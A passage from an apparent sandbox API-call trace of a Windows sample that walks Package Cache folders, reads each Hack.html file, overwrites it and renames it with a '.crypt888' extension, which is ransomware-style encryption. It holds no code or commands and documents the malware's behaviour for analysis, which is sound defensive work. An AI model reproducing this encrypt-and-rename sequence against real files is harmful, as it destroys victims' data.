ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbf4dd00, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc68c1b20, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0089.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0089.501] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\hack.html.crypt888")) returned 1 [0089.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0089.502] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpFilePart=0x0) returned 0x49 [0089.502] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\", lpFilePart=0x0) returned 0x4a [0089.502] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a128 [0089.502] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.503] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.503] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.503] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0089.503] FindClose (in: hFindFile=0x59a128 | out: hFindFile=0x59a128) returned 1 [0089.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0089.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0089.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0089.504] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpFilePart=0x0) returned 0x49 [0089.504] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\", lpFilePart=0x0) returned 0x4a [0089.504] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a128 [0089.504] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.504] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.504] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0089.504] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0089.505] FindClose (in: hFindFile=0x59a128 | out: hFindFile=0x59a128) returned 1 [0089.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0089.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0089.505] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\Hack.html", lpFilePart=0x0) returned 0x53 [0089.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0089.505] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.505] GetFileType (hFile=0x174) returned 0x1 [0089.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0089.505] GetFileType (hFile=0x174) returned 0x1 [0089.505] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0089.505] ReadFile (in: hFile=0x174, lpBuffer=0x26eeec4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x26eeec4*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0089.506] CloseHandle (hObject=0x174) returned 1 [0089.525] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\Hack.html", lpFilePart=0x0) returned 0x53 [0089.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0089.525] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.527] GetFileType (hFile=0x174) returned 0x1 [0089.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0089.527] GetFileType (hFile=0x174) returned 0x1 [0089.527] WriteFile (in: hFile=0x174, lpBuffer=0x273d1cc*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ece8, lpOverlapped=0x0 | out: lpBuffer=0x273d1cc*, lpNumberOfBytesWritten=0x39ece8*=0xc0, lpOverlapped=0x0) returned 1 [0089.528] CloseHandle (hObject=0x174) returned 1 [0089.528] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\Hack.html", lpFilePart=0x0) returned 0x53 [0089.528] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\Hack.html.crypt888", lpFilePart=0x0) returned 0x5c [0089.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0089.528] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbdaade0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbdaade0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc690dde0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0089.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0089.529] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\hack.html.crypt888")) returned 1 [0089.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0089.530] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages", lpFilePart=0x0) returned 0x52 [0089.530] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\", lpFilePart=0x0) returned 0x53 [0089.530] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a228 [0089.531] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.531] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.531] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.531] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0089.531] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0089.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0089.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0089.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0089.531] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages", lpFilePart=0x0) returned 0x52 [0089.531] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\", lpFilePart=0x0) returned 0x53 [0089.532] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a228 [0089.532] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.532] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.532] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0089.532] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0089.533] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0089.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0089.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0089.533] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Hack.html", lpFilePart=0x0) returned 0x5c [0089.533] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0089.533] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.533] GetFileType (hFile=0x174) returned 0x1 [0089.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0089.533] GetFileType (hFile=0x174) returned 0x1 [0089.533] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0089.533] ReadFile (in: hFile=0x174, lpBuffer=0x2740904, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x2740904*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0089.534] CloseHandle (hObject=0x174) returned 1 [0089.553] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Hack.html", lpFilePart=0x0) returned 0x5c [0089.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0089.554] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.555] GetFileType (hFile=0x174) returned 0x1 [0089.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0089.555] GetFileType (hFile=0x174) returned 0x1 [0089.555] WriteFile (in: hFile=0x174, lpBuffer=0x278eac4*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ecb4, lpOverlapped=0x0 | out: lpBuffer=0x278eac4*, lpNumberOfBytesWritten=0x39ecb4*=0xc0, lpOverlapped=0x0) returned 1 [0089.556] CloseHandle (hObject=0x174) returned 1 [0089.556] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Hack.html", lpFilePart=0x0) returned 0x5c [0089.556] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Hack.html.crypt888", lpFilePart=0x0) returned 0x65 [0089.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0089.556] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbdaade0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbdaade0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc6933f40, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0089.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0089.557] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\hack.html.crypt888")) returned 1 [0089.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0089.557] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch", lpFilePart=0x0) returned 0x58 [0089.558] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\", lpFilePart=0x0) returned 0x59 [0089.558] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a528 [0089.558] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.558] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.558] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.558] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0089.559] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0089.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0089.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0089.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0089.559] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch", lpFilePart=0x0) returned 0x58 [0089.559] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\", lpFilePart=0x0) returned 0x59 [0089.559] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a528 [0089.559] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.560] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.560] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0089.560] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0089.560] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0089.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0089.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0089.560] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\Hack.html", lpFilePart=0x0) returned 0x62 [0089.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0089.560] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.561] GetFileType (hFile=0x174) returned 0x1 [0089.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0089.561] GetFileType (hFile=0x174) returned 0x1 [0089.561] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xba [0089.561] ReadFile (in: hFile=0x174, lpBuffer=0x27923b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x27923b8*, lpNumberOfBytesRead=0x39ecbc*=0xba, lpOverlapped=0x0) returned 1 [0089.562] CloseHandle (hObject=0x174) returned 1 [0089.581] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\Hack.html", lpFilePart=0x0) returned 0x62 [0089.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0089.581] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.582] GetFileType (hFile=0x174) returned 0x1 [0089.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebec) returned 1 [0089.582] GetFileType (hFile=0x174) returned 0x1 [0089.582] WriteFile (in: hFile=0x174, lpBuffer=0x27e0584*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ec80, lpOverlapped=0x0 | out: lpBuffer=0x27e0584*, lpNumberOfBytesWritten=0x39ec80*=0xc0, lpOverlapped=0x0) returned 1 [0089.583] CloseHandle (hObject=0x174) returned 1 [0089.583] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\Hack.html", lpFilePart=0x0) returned 0x62 [0089.583] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\Hack.html.crypt888", lpFilePart=0x0) returned 0x6b [0089.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec94) returned 1 [0089.584] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbdaade0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbdaade0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc6980200, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0089.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec90) returned 1 [0089.584] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\hack.html.crypt888")) returned 1 [0089.585] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0089.585] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64", lpFilePart=0x0) returned 0x5c [0089.585] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\", lpFilePart=0x0) returned 0x5d [0089.585] 